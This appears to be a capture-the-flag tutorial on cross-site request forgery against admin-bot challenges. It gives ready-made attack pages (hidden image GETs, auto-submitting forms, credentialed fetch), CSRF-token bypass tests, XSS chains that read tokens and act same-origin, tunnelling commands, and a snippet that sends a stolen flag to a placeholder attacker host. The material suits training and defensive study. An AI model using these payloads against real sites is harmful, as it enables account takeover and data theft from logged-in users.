What is CSRF, and why does the challenge have an admin bot?
Cross-Site Request Forgery (CSRF) is a trick where your page makes the victim's browser send a request to a target site, and the browser helpfully attaches the victim's cookies. The server sees a fully authenticated request and cannot tell that the victim never meant to send it. You do not steal the session; you borrow the browser that holds it.
In a CTF this almost always wears the same costume: an admin bot. The challenge gives you a box that says "submit a URL and our admin will visit it." That admin is a headless Chrome instance logged in with a privileged cookie. Your flag lives behind an action only the admin can perform, change the admin's email, approve your account, post a comment that the admin's session renders, read an internal page. You cannot log in as the admin, but you can hand the admin a page that forges the request for you.
CSRF does not break authentication. It rents it. The bot is already logged in; your job is to make its browser click for you.
The whole exploit is three moves. First, host an HTML page that auto-fires the request you want. Second, make sure the target's cookies will actually ride along (this is the SameSite question, and it decides the entire challenge). Third, deliver the URL of your page to the bot. The rest of this guide is those three moves, plus what to do when a CSRF token or a strict cookie gets in the way.
picoCTF's Live Art (2022) is a textbook version of this setup: a collaborative web app whose admin bot visits a URL you submit, so you audit its state-changing endpoints for a missing CSRF token (falling back to a stored-XSS payload the bot's session renders if the cookie will not ride cross-site).
How do I build the attack page that forges the request?
The attack page is just static HTML you host somewhere the bot can reach. It has no dependencies and does not need to look like anything, the bot is a script, not a human. Start by reading the legitimate request you want to forge. Open the target action in Burp or your browser's network tab and note the method, the path, the Content-Type, and every body parameter.
If the action is a GET (a surprising number of CTF endpoints change state on GET), an <img> tag is the entire exploit. The browser fetches the URL on page load, cookies attached, and you never even need JavaScript:
<!-- csrf.html : GET-based state change, fires on load --><!doctype html><html><body><!-- The browser sends this GET with the victim's cookies --><img src="http://target.ctf/admin/promote?user=attacker" style="display:none"></body></html>
Most real actions are POST. For that you host a form whose fields match the body parameters exactly, then submit it automatically with one line of JavaScript. No click required, the page submits itself the instant it loads:
<!-- csrf.html : auto-submitting POST form --><!doctype html><html><body><form id="x" action="http://target.ctf/account/email" method="POST"><input type="hidden" name="email" value="attacker@evil.test"></form><script>document.getElementById('x').submit();</script></body></html>
Two details decide whether the form even reaches the handler. The enctype must match what the server expects. A normal HTML form sends application/x-www-form-urlencoded; if the endpoint only accepts multipart/form-data set enctype on the form, and if it insists on application/json a plain form cannot produce that body (more on that limitation below). The second detail is that hidden inputs are sent verbatim, so a parameter the server requires but you forgot will make the action silently fail.
x-www-form-urlencoded, multipart/form-data, or text/plain. It cannot set a real application/json body or any custom header. If the endpoint requires a JSON Content-Type or an X-Requested-With header, a forms-only CSRF is dead and you need the fetch variant, which only works if CORS allows it, or an XSS chain. That Content-Type requirement is itself a (weak) CSRF defense.When the endpoint genuinely reads JSON and you control script execution on your own page, you can try fetch with credentials. This only sends cookies if the target's CORS policy reflects your origin and allows credentials, which is rare but worth a thirty-second check:
<!-- csrf.html : credentialed fetch, needs permissive CORS to count --><script>fetch('http://target.ctf/api/account', {method: 'POST',credentials: 'include', // attach the victim's cookiesheaders: { 'Content-Type': 'application/json' },body: JSON.stringify({ email: 'attacker@evil.test' })});</script>
How do I bypass a weak anti-CSRF token?
The standard defense is a per-request secret: the server embeds a random csrf_token in the form, and rejects any POST whose token does not match the one tied to the session. You cannot read that token from across origins (the same-origin policy stops you), so a properly implemented token kills CSRF. The word doing the work is properly. CTF authors love to ship tokens that look right and validate nothing. Walk this checklist before assuming the token is real.
1. Is the token validated at all? The most common CTF bug: the form renders a token, but the handler never checks it. Send the POST with the token field deleted entirely, then with it set to an empty string, then with a junk value. If any of those still performs the action, there is no real check and you can drop the token from your attack page completely.
# Does the server actually verify the token? Try three things:$ curl -s -b 'session=VICTIM' -d 'email=a@evil.test' http://target.ctf/account/email$ curl -s -b 'session=VICTIM' -d 'email=a@evil.test&csrf_token=' http://target.ctf/account/email$ curl -s -b 'session=VICTIM' -d 'email=a@evil.test&csrf_token=junk' http://target.ctf/account/email# If the email changes in any of these, the token is decorative.
2. Is the token tied to the session, or global? If the server checks that the token is "valid" but not that it belongs to this user, you can register your own account, harvest a valid token from your own form, and paste it into the attack page. The bot's session will happily accept a token minted for a different user. Same trick applies if the token is reused: if it does not rotate per request and never expires, one capture is good forever.
3. Is the token leaked anywhere? Tokens that show up in a GET URL, an Referer-logged link, an image src, or a JSON endpoint with permissive CORS can be read cross-origin and replayed. If the token is predictable (a counter, a timestamp, an MD5 of the username), you can compute it. Treat any token you can see or guess as no token.
4. Does the check only fire when the field is present? A frequent logic flaw: if request.form.get('csrf_token'): validate(). Omit the field and the branch never runs. Removing a parameter is not the same as sending a wrong one, always test both.
A CSRF token only defends you if the server checks that it exists, that it matches, and that it belongs to the session making the request. Drop any one and the token is theater.
What if SameSite=Strict blocks the cross-site request?
When the cookie is SameSite=Strict, no request you launch from your own origin will carry it. The fix is to stop launching from your origin. If you can get even a sliver of JavaScript to run on the target site itself, that script is same-site, so its requests carry the Strict cookie and any per-session token it can read out of the page. That sliver is XSS, and chaining XSS into CSRF is the canonical way past a strict cookie.
The shape: find a stored or reflected XSS on any page of the target (a comment field, a username, a search echo), and have that injected script perform the privileged action using a same-origin fetch. Because the script runs on target.ctf, it can also read the real CSRF token straight out of the DOM before sending, defeating the token and the cookie in one shot:
// Injected via XSS on target.ctf. Runs same-origin, so:// - the Strict session cookie is attached automatically// - the real CSRF token is readable from the pagefetch('/account/email', {method: 'POST',credentials: 'same-origin',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: 'email=attacker@evil.test&csrf_token=' +document.querySelector('input[name=csrf_token]').value});
If the token is not in the current DOM, fetch the form page first, parse the token out of the response, then send the action. Two same-origin requests, both authenticated, all from the one injection point:
// Two-step same-origin chain: read the token, then use itfetch('/account', { credentials: 'same-origin' }).then(r => r.text()).then(html => {const t = html.match(/name="csrf_token" value="([^"]+)"/)[1];return fetch('/account/email', {method: 'POST',credentials: 'same-origin',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: 'email=attacker@evil.test&csrf_token=' + t});});
Whether to reach for CSRF, XSS, or a cookie forge is a judgment call, and the broader pattern-matching, "which web bug does this challenge actually want", is the subject of the Web Challenges and Real-World Bug Patterns post. CSRF is the right tool when the action is state-changing, the bot is authenticated, and the cookie will ride or can be made to ride.
How do I host the page and deliver the URL to the bot?
The bot needs a URL it can open, which means your attack page has to be reachable from wherever the bot runs. In most picoCTF-style setups the bot and the target share a network, but the bot can also reach the public internet, so you have two hosting options: a public tunnel, or a server inside the challenge network. The simplest local host is Python's built-in server:
# Drop csrf.html in the current directory, then serve it$ lscsrf.html# Python 3 one-liner static server on port 8000$ python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...# The bot visits this:# http://YOUR_HOST:8000/csrf.html
If the bot only reaches the public internet and you are behind NAT, expose the local server with a tunnel so it gets a routable URL:
# Option A: an SSH reverse tunnel to a box you control$ ssh -R 8000:localhost:8000 user@your-vps# Option B: a tunneling tool that prints a public https URL$ cloudflared tunnel --url http://localhost:8000$ ngrok http 8000# Give the bot the printed https URL + /csrf.html
Now submit that URL in the challenge's "report to admin" box. The bot opens it in a logged-in headless browser, your page auto-fires the forged request, and the action runs as the admin. How you then see the result depends on the challenge: sometimes the action itself reveals the flag, sometimes you have to exfiltrate it. If your same-origin script can read the flag (via an XSS chain), send it back to your own server so it lands in your access log:
// Exfiltrate whatever the privileged context can readfetch('/admin/flag', { credentials: 'same-origin' }).then(r => r.text()).then(flag => {// The flag shows up in YOUR http.server request lognew Image().src = 'http://YOUR_HOST:8000/x?f=' + encodeURIComponent(flag);});
python3 -m http.server's log, the bot may not be reaching you, test the URL from a second machine first.<script> that runs on DOMContentLoaded, not behind a slow external resource. If the action needs two sequential requests, chain them with promises rather than setTimeout, the bot may close the tab before a timer fires.Quick reference
CSRF triage order
- Read the target request, method, path, Content-Type, every body param. Reproduce it with
curland the bot's cookie. - Check
Set-CookieforSameSite.Nonemeans anything works;Laxmeans use a top-level GET navigation;Strictmeans chain an XSS or an on-site redirect. - If there is a token, test it three ways: delete the field, blank it, junk it. Then check if a token minted for your own account is accepted (not session-bound), or if the token is leaked or predictable.
- GET action: a hidden
<img>or awindow.locationredirect. POST action: an auto-submitting hidden form. JSON-only action: forms cannot do it, use a credentialedfetch(needs CORS) or an XSS chain. - Host with
python3 -m http.server 8000, tunnel it if the bot is on the public internet, submit the URL to the admin box, and watch your access log.
SameSite cheat sheet
None -> cookie sent on ALL cross-site requests (GET, POST, fetch, img)Lax -> cookie sent ONLY on top-level GET navigations (default)Strict -> cookie NEVER sent cross-site; need XSS / same-site redirectLax-safe delivery: window.location = 'http://target/action?...'Strict bypass: inject same-origin fetch via XSS on target.ctf
For the authoritative defender's view of every control you are poking at, the OWASP CSRF Prevention Cheat Sheet and PortSwigger's Web Security Academy CSRF topic are the two primary references worth keeping open. Reading what stops CSRF tells you exactly which check to test for absence.
The mental model never changes: the bot is already logged in, so do not attack the login, attack the trust the server places in the bot's own browser.